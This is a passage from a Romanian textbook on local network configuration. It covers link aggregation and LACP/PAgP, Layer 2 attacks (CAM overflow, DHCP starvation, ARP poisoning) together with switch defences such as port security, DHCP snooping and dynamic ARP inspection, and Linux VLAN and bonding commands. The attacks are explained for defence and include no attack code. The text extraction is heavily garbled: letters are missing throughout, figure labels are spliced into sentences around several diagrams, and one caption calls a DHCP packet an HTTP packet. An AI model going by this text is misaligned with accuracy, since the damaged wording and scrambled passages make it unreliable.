O p t i m i z a r e a r e e l e l o r l o c a l e | 157 band efectiv ntre cele dou switch-uri este cea a unei singure legturi. Ct despre redundan, aceasta este ntr-adevr asigurat de STP, ns trebuie subliniat faptul c activarea legturii de backup nu este instantanee, ntrzierea fiind generat de timpul de convergen al STP-ului. Discuia se complic dac lum n calcul situaia n care cele dou legturi redundante transport trafic din mai multe VLAN-uri. Dup cum vom vedea n studiul de caz de la sfritul capitolului consacrat MSTP-ului, exist posibilitatea configurrii echipamentelor astfel nct traficul din unele VLAN-uri s fie transportat pe un link, traficul din celelalte pe cel de-al doilea link, i s pstrm totodat opiunea de failover oferit de STP. Aceast rezolvare nu este total adecvat, ea transfernd practic problemele indicate mai sus la nivel de VLAN; soluia optim const n agregarea legturilor. Agregarea legturilor (link aggregation) reprezint gruparea mai multor conexiuni fizice de reea paralele ntr-o singur conexiune logic, cu scopul de a mri limea de band i de a crete disponibilitatea. Aceast tehnologie a aprut la mijlocul anilor 90 sub forma unor implementri proprietare ale productorilor de switch-uri i a fost reglementat de IEEE n cadrul standardului 802.3ad din 2000, care s-a transformat ulterior n 2008 n standardul 802.1AX. Ea poate purta diverse nume, n funcie de productor, precum port trunking, link bundling, network bonding, Etherchannel, NIC teaming etc. Conform standardului 802.1AX-2008, principalele obiective ale procesului de agregare a legturilor sunt urmtoarele: Posibilitatea creterii liniare a limii de band prin combinarea capacitii mai multor legturi fizice ntr-una logic, limea de band poate fi mrit liniar, i nu n ordine de magnitudine, cum se ntmpl n cazul upgrade-urilor de nivel fizic (10Mbps, 100 Mbps, 1 Gbps etc.) Disponibilitate sporit - funcionarea defectuoas a unei singure legturi fizice dintr-un grup agregat nu afecteaz protocoalele de nivel inferior, care vd grupul ca pe o singur interfa logic disponibil n continuare. Load sharing traficul ce urmeaz s traverseze legtura agregat poate fi distribuit peste mai multe legturi fizice. Configurare automat dac nu exist configurri manuale n acest sens, legturile agregate sunt configurate automat, interfeele fizice fiind alocate grupurilor agregate. Dac un set de legturi fizice pot fi agregate, ele vor fi agregate. Timp de convergen rapid n cazul modificrilor la nivelul fizic al topologiei (link-uri defecte, interfee adugate etc.), legturile agregate vor converge la o nou configuraie, de obicei n mai puin de o secund. Evitarea duplicrii cadrelor sau a trimiterii lor n alt ordine att n timpul funcionrii normale ct i n perioadele de convergen, cadrele nu trebuie s fie duplicate sau trimise n ordine invers ctre destinaie. Standardul prevede i cteva restricii pentru interfeele care pot fi grupate ntr-o legtur agregat; cea mai important dintre ele este necesitatea ca toate interfeele fizice s funcioneze la aceeai vitez. Totui, 802.1AX-2008 nu impune ca porturile dintr-o legtur agregat s foloseasc aceeai tehnologie de nivel 1, astfel nct o interfa pe fibr optic cu viteza de 1Gbps poate fi grupat cu o interfa pe cupru care opereaz la aceeai vitez. Este important de punctat faptul c o legtur agregat este vzut de ctre switch-uri i majoritatea protocoalelor de nivel 2 drept o entitate logic similar unei interfee fizice: de exemplu, STP-ul o consider n calculele sale drept o singur interfa, cu un cost specific. Un avantaj implicit al legturilor agregate l reprezint i protecia pe care o ofer mpotriva buclelor i a broadcast-storm-urilor: cadrele avnd ca destinaie adrese de broadcast sau multicast sunt trimise numai pe una dintre interfeele fizice dintr-o legtur agregat, anume cea aleas de algoritmul de distribuie discutat n seciunea urmtoare.

158 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

5.2.2 Distribuia traficului pe legturi agregate


Algoritmul de distribuire a cadrelor pe interfeele fizice care alctuiesc o legtur agregat trebuie s in seama de dou considerente: pe de o parte, pentru a evita sosirea pachetelor n dezordine la destinaie, se dorete ca cele care fac parte din aceeai sesiune s fie trimise pe aceeai legtur fizic; pe de alt parte, se vrea ca traficul s fie distribuit uniform pe legturile fizice din aceeai legtur agregat, pentru a atinge un randament optim de load-sharing. Cele mai comune implementri de legturi agregate folosesc algoritmi de hashing la nivelurile 2, 3 i 4 din stiva OSI, care pot distribui pachetele pe baza unor combinaii de adres MAC surs sau destinaie, adres IP surs sau destinaie, port TCP/UDP surs sau destinaie. S examinm un exemplu tipic de distribuire a cadrelor pe porturile dintr-o legtur agregat considernd topologia de mai sus, din Fig. 5-9. Presupunem c algoritmul de hashing efectueaz o simpl operaiune XOR ntre adresele IP surs i destinaie ale unui pachet. n cazul de fa, avem patru interfee care alctuiesc legtura agregat, astfel nct vom avea nevoie de un XOR pe ultimii doi bii ai adreselor IP pentru multiplexare rezultatele vor fi, prin urmare: pentru traficul de la calculatorul Client la SRV1: 10 XOR 00 = 10, deci link-ul ales pentru trimiterea cadrelor va fi Fa 0/2; pentru traficul de la calculatorul Client la SRV2: 10 XOR 10 = 00, deci link-ul ales pentru trimiterea cadrelor va fi Fa 0/0.
it

Fa 0/0 0/3
Sw1 Client 192.168.0.10 Sw2

Hub9 SRV1 192.168.0.128

IP

Legtur agregat

H w SRV2 192.168.0.130

5-9 Distribuirea cadrelor pe legturi agregate Dei profilul de distribuie optim a traficului pe o legtur agregat format din dou interfee 4 fizice este 50/50, n implementrile reale acesta se situeaz de obicei ntre 70/30 i 60/40. Pe msur ce includem n algoritmul de hashing valori din nivelurile superioare ale stivei OSI (numere de port 1 TCP/UDP), profilul de distribuie se mbuntete, apropiindu-se de optim.

5.2.3 Protocoale de negociere a legturilor agregate


O legtur agregat poate fi configurat n dou moduri: static sau dinamic, printr-un protocol de negociere. O configurare static specific pur i simplu ce porturi de pe un switch vor fi grupate n 192.168.0.Fa aceeai legtur agregat. Modul n care o legtur este configurat nu i schimb principiile de 0/1 operare expuse n seciunile precedente, ns configurarea dinamic prin intermediul protocoalelor maximum 2 de negociere posed cteva avantaje: MACs Monitorizare i failover pentru legturile ce conin un dumb device n cazul unei interfee fizice care nu permite detectarea defeciunilor, din cauza existenei unor dispozitive intermediare (de exemplu un Media Converter), o legtur agregat configurat manual nu va trata aceste excepii i va continua s trimit trafic pe link-ul IPIPIPI defect. Legturile configurate dinamic prin protocoale de negociere opresc trimiterea traficului pe interfee care nu funcioneaz.
IPIPIPI

A1 Fa 0/1

O p t i m i z a r e a r e e l e l o r l o c a l e | 159 Detectarea erorilor de configurare erorile de cablare sau configurrile greite sunt ignorate n cazul legturilor agregate statice, care nu efectueaz nicio verificare prealabil. Protocoalele de negociere pot determina eventualele erori, mpiedicnd formarea legturii agregate. Porturi de tip hot-standby (doar n cazul LACP) ofer posibilitatea de a plasa interfee de backup ntr-o legtur agregat, care s fie utilizate doar n cazul n care un port activ se defecteaz.

Link Aggregation Control Protocol


n cadrul standardului 802.1AX-2008, IEEE definete Link Aggregation Control Protocol (LACP) ca protocol de negociere i configurare automat a legturilor agregate dintre dispozitive. LACP trimite pachete ntre switch-uri pe porturile selectate pentru configurarea dinamic a legturii agregate; primul pas const n identificarea vecinilor, urmat de compararea capabilitilor porturilor i a indicelui legturii agregate dorite. Pentru gestionarea automat a unei legturi agregate, LACP definete roluri pe care le asociaz capetelor legturii. LACP poate fi configurat n modul active, n care switch-ul iniiaz procesul de negociere cu dispozitivul de la cellalt capt, sau n modul passive, n care switch-ul rspunde la procesul de negociere numai dac dispozitivul de la cellalt capt l iniiaz. Switch-ul cu cea mai mic prioritate de sistem (system priority format dintr-o valoare de prioritate pe 2 octei i adresa MAC a switch-ului pe 6 octei) este desemnat pentru a lua decizii privind porturile care sunt active ntr-o legtur agregat la un moment dat. n mod similar are loc selectarea i activarea porturilor, pe baza prioritii de port (port priority format dintr-o valoare de prioritate pe 2 octei i numrul de port pe 2 octei). Acest proces este legat de limita de 16 interfee care pot participa ntr-o legtur agregat LACP, dintre care numai 8 pot fi simultan active. LACP activeaz porturile cu prioriti mai mici, plasndu-le pe celelalte n starea de hot-standby, gata s fie utilizate n cazul n care un port activ se defecteaz.

Port Aggregation Control Protocol


Cea mai cunoscut alternativ la LACP este protocolul proprietar Cisco, Port Aggregation Protocol (PAgP). La fel ca i LACP-ul, acesta identific iniial vecinii i capabilitile porturilor, comparndu-le cu setrile locale. PAgP formeaz o legtur agregat (EtherChannel, n terminologia Cisco) numai dac interfeele sunt configurate la ambele capete ca trunk-uri sau au definite aceleai VLAN-uri statice. n plus, PAgP adapteaz n timp real parametrii unui EtherChannel dac configuraia unui port membru se schimb de exemplu, dac VLAN-ul asociat, viteza sau modul de operare duplex al unei interfee este modificat, PAgp reconfigureaz acel parametru pentru toate interfeele din EtherChannel. PAgP poate fi configurat n modul desirable, n care switch-ul solicit n mod activ vecinilor negocierea unei legturi agregate, sau n modul auto, care este i cel implicit, n care switch-ul negociaz o legtur agregat numai la cererea unui vecin.

5.3 Securizarea reelelor locale


Stiva OSI a fost conceput astfel nct diferitele niveluri s funcioneze independent unele de altele; din pcate, acest principiu face ca n cazul n care un atacator compromite comunicaia la un anumit nivel, celelalte s nu detecteze acest lucru. Se tie c nivelul de securitate al unui sistem este determinat de cea mai slab verig a acestuia iar n networking de multe ori nivelul 2 este o verig foarte slab. Dac, de exemplu, compromiterea unei conexiuni HTTPS este foarte greu de realizat, interceptarea traficului ntr-o reea local prost configurat poate fi trivial de efectuat. n cele ce urmeaz, vom analiza cele mai comune tipuri de atacuri la nivelul 2 al stivei OSI, accentul cznd pe msurile de securitate ce pot fi implementate pe switch-uri pentru prevenirea lor.

160 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

5.3.1 Limitarea numrului de adrese MAC


Unul dintre primele atacuri intind echipamentele de nivel 2 al stivei OSI a fost CAM table overflow. Tabelele CAM n care switch-urile stocheaz adrese MAC sunt limitate ca mrime, iar dac suficiente noi intrri sunt introduse nainte ca cele vechi s expire, tabelele se umplu i nu mai accept alte adrese MAC. Acesta este i modul de operare tipic al unui atacator, care flood-eaz switch-ul cu un numr imens de adrese MAC invalide, astfel nct tabela sa CAM s devin plin. Cnd acest lucru se petrece, switch-ul va trimite traficul primit pe toate porturile, deoarece nu poate gsi portul asociat unei adrese MAC valide n tabela CAM; n esen, se comport ca un hub. Atacurile de acest tip provoac flood-area traficului numai n cadrul VLAN-ului local, astfel nct atacatorul poate intercepta trafic numai din VLAN-ul n care este conectat. Un alt atac nrudit este MAC address spoofing, care presupune utilizarea unei adrese MAC cunoscute a unei staii din reea pentru a convinge un switch s trimit traficul destinat acelei staii ctre atacator. n acest caz, tabela CAM a switch-ului este corupt prin generarea de pachete cu adresa MAC surs a staiei int de ctre maina atacatorului. Nu n ultimul rnd, n reelele care distribuie adrese IP staiilor prin intermediul DHCP sunt posibile atacurile de tip DHCP starvation. Un asemenea atac este efectuat prin generarea de pachete broadcast, de tip DHCP Request, cu adrese MAC invalide (spoofed). Dac sunt trimise suficiente cereri, atacatorul poate epuiza spaiul de adrese definit pe server-ele de DHCP pentru o perioad semnificativ de timp, mpiedicnd alocarea de adrese IP clienilor legitimi, care nu mai pot accesa reeaua. Aceast operaiune este frecvent asociat cu plasarea unui server de DHCP pirat (rogue) n reea, aflat sub controlul atacatorului vom analiza aceast posibilitate n seciunea urmtoare. Majoritatea productorilor de switch-uri ofer posibilitatea identificrii i a limitrii adreselor MAC permise pe un anumit port; denumirea care s-a impus n acest sens este cea de port security, introdus de ctre Cisco, ns alte companii folosesc termeni precum MAC limiting (Juniper). CAM Table: MAC X SMAC: A1 Fa 0/1 Atacator
b9
IPIPIPI IPIPIPI IPIPIPI IPIPIPI SMAC:

X Fa 0/1 A1 Fa 0/1
IPIPIPI

Hub9 Sw2 2 H

Sw1 IPIPIPI

A2
.Fa

IPIPIPI IPIPIPI

IPIPIPI IPIPIPI IPIPIPI

Sw 2 MACs 0/1 IPIPIPI maximum


IPIPIPI

IPIPIPI unui atac de tip CAM table overflow prin port security 5-10 mpiedicarea SMAC: A1 IPIPIPI

SRV2 funcioneaz prin asocierea unui set de adrese MAC valide unui anumit port din Port security IPIPIPI IPIPIPI respectiv nu comut pachete cu adrese MAC surs din afara setului definit, iar dac switch. Portul detecteaz un cadruIPIPIPI cu adres MAC invalid poate fie doar s blocheze staia cu respectiva adres, SMAC: A2 IPIPIPI fie s nchid administrativ legtura pe care a fost primit cadrul. 192.168.0 Setul de adrese valide poate fi definit manual pentru fiecare port, dar n top 1 ologii extinse aceast procedur poate deveni un comar administrativ. O soluie mai adecvat o reprezint opiunea de IPIPIPI dynamic port security, prin care administratorul de reea configureaz un numr maxim de adrese IPIPIPI Cl MAC pe un anumit port, adrese care sunt nvate automat de ctre switch. n Fig. 5-10, observm rezultatul unui atac de tip CAM table overflow n condiiile n care switchul int (Sw1) are configurat o limitare de maxim 2 adrese MAC pe portul de acces Fa 0/1. Tabela IPIPIPI CAM a lui Sw1 conine deja asocierea MAC X Fa 0/1, i va aduga n plus primul MAC spoof-at n cadrul atacului, cel cu adresa surs A1. Al doilea pachet ns, cel cu adresa MAC surs A2, va fi respins, deoarece pe interfaa Fa 0/1 s-a atins numrul maxim de adrese permis prin port security.

O p t i m i z a r e a r e e l e l o r l o c a l e | 161

5.3.2 DHCP snooping


n seciunea precedent, am vzut cum limitarea adreselor MAC la nivelul unui port mpiedic atacurile simple de tip DHCP starvation n varianta prezentat, fiecare DHCP Request avea asociat un MAC unic spoof-at, setat ca adres surs n cadrul Ethernet generat. Din pcate, exist i o variant mai sofisticat a atacului, care nu poate fi prevenit prin port security i care se bazeaz pe manipularea unui cmp specific al pachetului DHCP. Aceast variant evoluat a atacului folosete o singur adres MAC surs, modificnd n schimb valoarea cmpului Client Hardware Address (CHADDR) din DHCP Request (vezi Fig. 5-11). Acest cmp are rolul de a identifica clientul de DHCP pentru ca rspunsurile server-ului s ajung napoi la destinaia corect; dac clientul i server-ul de DHCP se afl n aceeai reea, valoarea lui coincide cu adresa MAC surs, reprezentnd o informaie redundant, ns n cazul configuraiilor de tip DHCP Relay Agent, CHADDR este indispensabil n transmiterea pachetelor DHCP ctre clieni. Pentru prevenirea acestei variante de DHCP starvation, avem nevoie de un mecanism mai avansat de protecie. De asemenea, funcionarea server-elor de DHCP rogue nu poate fi mpiedicat prin limitarea MAC-urilor la nivel de port, lucru care i permite atacatorului s furnizeze informaii maliioase gazdelor din reeaua local (adres IP, default gateway, server de DNS etc.), punnd bazele unui atac de tip Man-in-the-Middle prin care va intercepta traficul staiilor int. OP Code Hardware Type Hardware Length HOPS Transaction ID (XID) Seconds Client IP Address (CIADDR) Your IP Address (YIADDR) Server IP Address (SIADDR) Gateway IP Address (GIADDR) Client Hardware Address (CHADDR) 16 bytes Server Name (SNAME) 64 bytes Filename 128 bytes DHCP Options 5-11 Formatul unui pachet HTTP, cu cmpul CHADDR n fine, un alt atac nu foarte cunoscut care exploateaz funcionarea protocolului DHCP este IP address hijacking. n mod normal, cnd un client dorete s renune la adresa alocat lui prin DHCP, trimite un mesaj de tip DHCP Release prin care anun server-ul c poate aduga acea adres IP napoi n pool-ul de adrese disponibile. Un atacator care cunoate o adres IP legitim obinut prin DHCP de ctre o staie poate trimite un pachet DHCP Release server-ului prin care s solicite eliberarea IP-ului respectiv; atacatorul poate ncerca ulterior s obin chiar el acel IP, sau s se mulumeasc cu perturbarea comunicaiei n reea prin aceast form de Denial of Service. Pentru a preveni atacurile descrise mai sus, avem la dispoziie mecanismul de DHCP snooping. DHCP snooping se bazeaz pe conceptul de port-uri trusted (sigure, de ncredere) i port-uri untrusted (nesigure). Port-urile trusted sunt de obicei interfee ale switch-ului conectate la echipamente aflate sub strict control administrativ (uplink-uri ctre alte switch-uri de distribuie sau core, legturi cu servere de DHCP autorizate etc.). Port-urile untrusted sunt ndreptate spre zona de acces, unde dispozitivele utilizatorilor nu pot fi considerate ca fiind sigure. Flags

162 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e n timpul funcionrii, DHCP snooping construiete o baz de date, denumit omonim DHCP snooping database. Practic, switch-ul inspecteaz pachetele DHCP primite pe port-urile untrusted i populeaz baza de date cu asocieri de tipul port-adres IP-adres MAC-VLAN. De exemplu, dac switch-ul detecteaz un pachet DHCP trimis ctre un client pe interfaa Fa 0/1 cu scopul de a-i aloca IP-ul 192.168.1.5, el va ti de acum nainte c interfaa Fa 0/1 va avea asociat IP -ul 192.168.1.5. Baza de date creat prin procesul de DHCP snooping este foarte important, deoarece joac un rol critic n implementarea altor tehnologii precum dynamic ARP inspection (DAI) i IP source guard. Mai jos putei observa un exemplu de baz de date specific DHCP snooping-ului, pe un switch Juniper:
user@switch> show dhcp snooping binding DHCP Snooping Information: MAC address IP address Lease (seconds) 00:05:85:3A:82:77 192.0.2.17 00:05:85:3A:82:79 192.0.2.18 00:05:85:3A:82:80 192.0.2.19 600 653 720 Type VLAN Interface

dynamic employee ge-0/0/1.0 dynamic employee ge-0/0/1.0 dynamic employee ge-0/0/2.0

Aciunile prin care DHCP snooping-ul mpiedic tipurile de atacuri descrise mai sus sunt urmtoarele: Dac un switch primete un pachet DHCP care provine de la un server (DHCPOFFER, DHCPACK, DHCPNAK sau DHCPLEASEQUERY) pe un port untrusted, pachetul este respins. Aceasta previne funcionarea unui server de DHCP rogue n reea pe port-uri untrusted. Dac un switch primete un pachet DHCP pe un port untrusted i adresa din cmpul CHADDR nu coincide cu adresa MAC surs a cadrului, pachetul este respins. Acest comportament se manifest dac opiunea de verificare a adreselor MAC este activat, i previne atacurile de tip DHCP starvation bazate pe exploatarea cmpului CHADDR. Dac un switch primete un pachet de tip DHCPRELEASE sau DHCPDECLINE pe un port untrusted, el va cuta adresa IP ce urmeaz a fi eliberat n DHCP snooping database. Dac exist o intrare asociat IP-ului respectiv, dar interfaa de pe care a fost trimis mesajul de DHCPRELEASE sau DHCPDECLINE nu este cea corespunztoare, switch-ul va respinge pachetul. Astfel se mpiedic atacul de tip IP address hijacking.

5.3.3 Prevenirea atacurilor de tip ARP poisoning


Unul dintre cele mai des ntlnite i mai eficiente atacuri n cadrul reelelor locale este ARP poisoning; acesta permite interceptarea traficului IP ntre dou calculatoare i se bazeaz pe manipularea tabelelor ARP ale staiilor int. Dup cum tim, dou staii din acelai domeniu de broadcast al unei reele Ethernet trebuie s-i cunoasc adresele MAC pentru a putea comunica nainte de trimiterea cadrelor, staia surs i verific tabela ARP pentru a identifica adresa MAC corespunztoare IP-ului staiei destinaie. Dac tabela ARP nu conine respectiva intrare, staia surs genereaz un cadru de tip ARP Request, avnd drept adres destinaie adresa de broadcast, prin care interogheaz toate gazdele din reea pentru a afla adresa MAC a staiei destinaie. Evident, numai staia ce posed IP-ul specificat n ARP Request trebuie s rspund cererii, trimindu-i adresa MAC staiei surs. Dup efectuarea acestui proces, asocierea MAC-IP a staiei destinaie este cache-uit n tabela ARP a gazdei, fiind utilizat pentru comunicaiile ulterioare. Din pcate, ARP-ul este un protocol stateless, care nu necesit autentificare, astfel nct oricine, inclusiv un atacator, poate trimite un cadru de tip ARP Reply pentru a fora o intrare n tabela ARP a unei staii. Mai mult dect att, prin mecanismul de gratuitous ARP, un ARP Reply poate fi trimis oricnd, chiar dac nu rspunde unei cereri. Astfel, staia int poate ajunge n situaia de a trimite trafic ctre MAC-ul atacatorului, care este n mod incorect asociat unei adrese IP valide. Cu ajutorul unui sniffer, atacatorul poate inspecta ulterior traficul capturat. Dup efectuarea operaiunii descrise mai sus, un atacator primete traficul ctre un anumit IP i poate realiza o situaie de tip Man-in-the-Middle, acionnd ca un intermediar transparent ntre staiile surs i destinaie. Pentru aceasta este nevoie de un pas suplimentar, i anume re-rutarea

O p t i m i z a r e a r e e l e l o r l o c a l e | 163 traficului interceptat ctre destinaia corect. Acest pas este crucial, deoarece interceptarea de informaii privilegiate implic mai nti realizarea unei conexiuni la nivelele superioare ale stivei OSI (TCP, HTTP etc.), lucru care nu poate avea loc dac staiile nu comunic. Fr rutare, avem doar un caz de Denial of Service. n Fig 5-12, atacatorul efectueaz procesul de rutare a traficului ntre cele dou gazde, staia A i staia B. Observai c doar tabela ARP a atacatorului reflect topologia real, cele dou staii deinnd intrri corupte care l indic n mod greit pe atacator ca destinaie. n practic, cea mai comun implementare a acestui tip de atac vizeaz traficul dintre o gazd i default-gateway-ul acesteia. Atacurile de tip ARP poisoning sunt izolate la nivelul reelei sau VLANului n care origineaz; ele nu funcioneaz peste Internet i necesit accesul n reeaua int.

Sw1

Staia A IP A/MAC A
b9 IPIPIPI B IPIPIPI

2 SwIP 1

Hub9 H

IP MAC X
b9

MAC A B

Staia B IP B/MAC B IP MAC A IPIPIPI


IPIPIPI

A Atacator IP X/MAC X B

IPIPIPI SRV2 IPIPIPI

IPIPIPI

SMAC: A2 IPIPIPI IPIPIPI A2 de tip ARP 1SMAC: Pentru prevenirea acestor tipuri de atacuri, un switch trebuie s verifice pachetele IPIPIPI IPIPIPI Request i ARP Reply comutate, permind doar mesajele valide. Prin intermediul opiunii de 192.168.0 IPIPIPI 192.168.0 (DAI), switchDynamic ARP Inspection urile verific pachetele ARP interceptate, cutnd o pereche IP-MAC valid nainte de a actualiza tabela ARP local i de a trimite pachetul ctre destinaie; IPIPIPI IPIPIPI IPIPIPI IPIPIPI IPIPIPI pachetele invalide sunt respinse. Validitatea unui pachet ARP este determinat prin examinarea IPIPIPI Cl SMAC: A2 intrrilor din baza de date construit prin DHCP snooping , care conine corespondene SMAC: A2 Cl SMAC: valide ntre adrese MAC i adrese IP. Pentru staiile cu IP-uriSMAC: statice,A2 DAI poate valida A2pachetele ARP prin IPIPIPI IPIPIPIpe switch n acest compararea lor cu ACL-uri (Access Control Lists liste de acces) definite manual scop. IPIPIPI IPIPIPI Ca i DHCP snooping-ul, DAI-ul mparte interfeele unui switch n trusted i untrusted. Pachetele IPIPIPI primite pe port-uri trusted nu sunt sunt supuse verificrilor DAI, ns cele care sosesc pe interfee IPIPIPI untrusted trec prin ntreg procesul de validare. n mod tipic, toate interfeele de acces ale unui switch IPIPIPI sunt configurate ca untrusted, n timp ce legturile trunchi care se conecteaz la alte switch-uri sunt IPIPIPI IPIPIPI considerate trusted astfel se asigur c toate pachetele ARP care intr n reea printr-un switch sunt IPIPIPI verificate prin DAI. Configurarea interfeelor ca trusted sau untrusted trebuie s fie efectuat cu mare grij pe de o parte, dorim s mpiedicm existena vulnerabilitilor n cadrul reelei, pe de alt parte o setare greit poate duce la pierderea conectivitii ntre staii.

IPIPIPI SRV2 IPIPIPI ntr-un atac de tip ARP poisoning 5-12 Rutarea traficului

164 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

DHCP Server

Fa 0/2
Sw1

IPIPIPI

Fa 0/3 Fa 0/1 IPIPIPI H1


IPIPIPI IPIPIPI IPIPIPI IPIPIPI IPIPIPI IPIPIPI

Fa 0/3
Sw2

Fa 0/1
IPIPIPI

Sw 1 IPIPIPI

H2

IPIPIPI

5-13 Exemplu de topologie pentru funcionarea DAI


IPIPIPI IPIPIPI

n Fig. 5-13, switch-urile Sw1 i Sw2 ruleaz DAI pe VLAN-ul din care fac parte H1 i H2, iar cele dou staii i obin adresele IP prin DHCP de la server-ul conectat la Sw1. Presupunnd c att Sw1 ct i Sw2 au activat DHCP snooping, numai Sw1 va nregistra perechea IP H1 - MAC H1 rezultat n IPIPIPI urma alocrii adresei IP IPIPIPI staiei H1. Prin urmare, dac interfaa Fa 0/3 care conecteaz cele dou switch-uri este configurat ca untrusted, pachetele ARP trimise de H1 vor fi respinse de Sw2, mpiedicnd comunicaia ntre H1 i H2. DAI nu permite gazdelor conectate la un switch pe interfee untrusted s corup tabela ARP a altor staii din reea; n schimb, nu poate opri gazde din alte segmente ale reelei s corup tabela ARP a staiilor conectate la switch. n topologia de mai sus, dac Sw1 nu ruleaz DAI, staia H1 poate corupe tabela ARP a switch-ului Sw2 i a gazdei H2, dac interfaa Fa 0/3 este configurat ca trusted, chiar dac switch-ul Sw2 are DAI-ul activ. n asemenea situaii, n care unele switch-uri dintr-un VLAN ruleaz DAI n timp ce altele nu implementeaz aceast msur, interfeele care se conecteaz la switch-uri non-DAI trebuie configurate ca untrusted. Pentru a valida pachetele ARP primite de la switch-uri non-DAI, este necesar fie configurarea de ARP ACL-uri pe switch-urile ce ruleaz DAI; dac aceast msur nu este fezabil, se recomand izolarea switch-urilor non-DAI ntr-o reea diferit, la nivel 3.

5.3.4 Controlul storm-urilor n cadrul reelei


n ciuda tuturor precauiilor i a msurilor de securitate implementate, uneori nu putem evita anumite incidente care afecteaz performana reelei storm-urile dintr-un LAN reprezint un exemplu tipic. Acest fenomen, care const ntr-un numr foarte mare de pachete primite pe un singur port i care se amplific ulterior, flood-nd reeaua, poate avea diverse cauze: erori n configurarea echipamentelor de reea, bug-uri n implementarea protocoalelor, chiar i utilizatori care iniiaz un Denial-Of-Service. Majoritatea productorilor de switch-uri ofer opiunea monitorizrii nivelului de trafic nregistrat pe un anumit port, tocmai n ideea de a detecta asemenea evenimente i de a le izola de restul reelei. Detaliile de implementare difer, ns principiul este acelai: cnd numrul de pachete de un anumit tip (broadcast, multicast sau unicast) primit pe un port depeste un prag definit de administratorul de reea, exprimat ca procent din limea de band a interfeei, pachetele de acel tip sunt blocate, sau portul este nchis temporar. Valoarea pragului trebuie corelat cu nivelul uzual de trafic nregistrat cnd reeaua funcioneaz normal o anumit rat de pachete de tip broadcast, multicast i unicast este legitim n toate reelele.

O p t i m i z a r e a r e e l e l o r l o c a l e | 165

5.4 Utilitare
5.4.1 Linux
Configurarea unei interfee ca trunchi 802.1q
Linux ofer posibilitatea configurrii unei interfee Ethernet ca trunchi 802.1q, permind trimiterea i primirea de pachete din mai multe VLAN-uri. Aceast opiune este implementat n modulul de kernel 802.1q, care poate fi configurat de ctre utilizatori prin comanda ip link, inclus n iproute2, sau prin intermediul utilitarului mai vechi vconfig. Cele dou comenzi de mai jos arat cum putem aduga o interfa virtual carespunztoare VLAN-ului 10 la interfaa fizic eth0:
root@HQ:~# ip link add link eth0 name eth0.10 type vlan id 10

sau
root@HQ:~# vconfig add eth0 10

Efectul acestei configuraii este c pachetele cu ncapsulare 802.1q primite pe eth0 ce au VLAN ID-ul egal cu 10 vor fi tratate ca pachete netagate, primite pe interfaa virtual eth0.10, iar cadrele ce au ca interfa de ieire eth0.10 vor fi marcate cu un tag 802.1q, cu VLAN ID egal cu 10, i trimise pe interfaa fizic eth0. Modificrile realizate cu aceste utilitare nu sunt persistente; n scenariul 5.6.2 Configurarea de VLAN-uri pe un ruter Linux vom vedea cum putem folosi fiierul /etc/network/interfaces pentru a realiza schimbri de durat.

Bonding
Linux ofer posibilitatea configurrii legturilor agregate prin intermediul driver-ului de bonding. Interfeele fizice agregate pot fi active simultan, cnd sunt configurate pentru load balancing, sau pot fi configurate ca active/backup, n modul hot standby. Driver-ul de bonding ofer i opiunea monitorizrii integritii intefeelor fizice dintr-o legtur agregat. Utilitarul folosit pentru administrarea legturilor agregate n user-space se numete ifenslave, primul pas n configurare fiind chiar instalarea pachetului asociat:
root@HQ:~# apt-cache search ifenslave ifenslave-2.6 Attach and detach slave interfaces to a bonding device root@HQ:~# apt-get install ifenslave-2.6

Metoda preferat de configurare pe distribuiile bazate pe Debian apeleaz la fiierul /etc/network/interfaces. Instalarea pachetului ifenslave va ncrca automat modulul de bonding n kernel i va pune la dispoziie opiunile de tip bond-* n /etc/network/interfaces. nainte de editarea fiierului, se vor opri interfeele fizice ce urmeaz a fi agregate, precum i serviciul de networking:
root@HQ:~# ifdown eth1 ... root@HQ:~# ifdown eth2 ...

Adugm ulterior urmtoarea intrare corespunztoare interfeei agregate bond0 n /etc/network/interfaces, editnd n acelai timp i intrrile interfeelor fizice:
auto bond0 iface bond0 inet static address 192.168.1.10 netmask 255.255.255.0 network 192.168.1.0 gateway 192.168.1.1 bond-slaves none bond-mode active-backup bond-miimon 100

166 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e
auto eth1 iface eth1 inet manual bond-master bond0 bond-primary eth1 eth2 auto eth2 iface eth2 inet manual bond-master bond0 bond-primary eth1 eth2

Sintaxa este uor modificat fa de vechile versiuni, n care toate opiunile erau specificate n intrarea bond0 (de exemplu bond-slaves eth1 eth2, bond-primary eth1 eth2), iar intrrile eth1 i eth2 nu trebuiau configurate. Modificarea se datoreaz existenei unui race condition ntre activarea driver-ului hardware pentru interfeele fizice i activarea interfeei agregate; de aceea, interfaa agregat este iniializat acum pornind de la membri, prin directivele bond-master bond0. n exemplul prezentat, observm ca setrile de nivel 3 ale interfeei bond0 se configureaz identic cu cele ale unei interfee fizice, avnd n plus numai trei intrri: bond-slaves none, obligatorie; bond-mode active-backup, care specific modul de funcionare al interfeei agregate; bond-miimon 100, care seteaz frecvena de monitorizare a legturilor fizice la 100ms. Pentru eth1 i eth2, pe lng specificarea interfeei agregate (bond-master bond0), avem definit i prioritatea interfeelor pentru a fi activate n modul active-backup (bond-primary eth1 eth2, mai nti eth1 i apoi eth2). Pentru a verifica configuraia unei interfee agregate i starea interfeelor slave, putem inspecta fiierul corespunztor din directorul /proc/net/bonding:
root@HQ:~# cat /proc/net/bonding/bond0 Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011) Bonding Mode: fault-tolerance (active-backup) Primary Slave: eth1 (primary_reselect always) Currently Active Slave: eth1 MII Status: up MII Polling Interval (ms): 100 Up Delay (ms): 0 Down Delay (ms): 0 Slave Interface: eth1 MII Status: up Speed: Unknown Duplex: Unknown Link Failure Count: 0 Permanent HW addr: 00:0c:29:f5:74:94 Slave queue ID: 0 Slave Interface: eth2 MII Status: up Speed: Unknown Duplex: Unknown Link Failure Count: 0 Permanent HW addr: 00:0c:29:f5:74:9e Slave queue ID: 0

Setrile interfaei bond0 pot fi afiate rulnd comanda ifconfig:


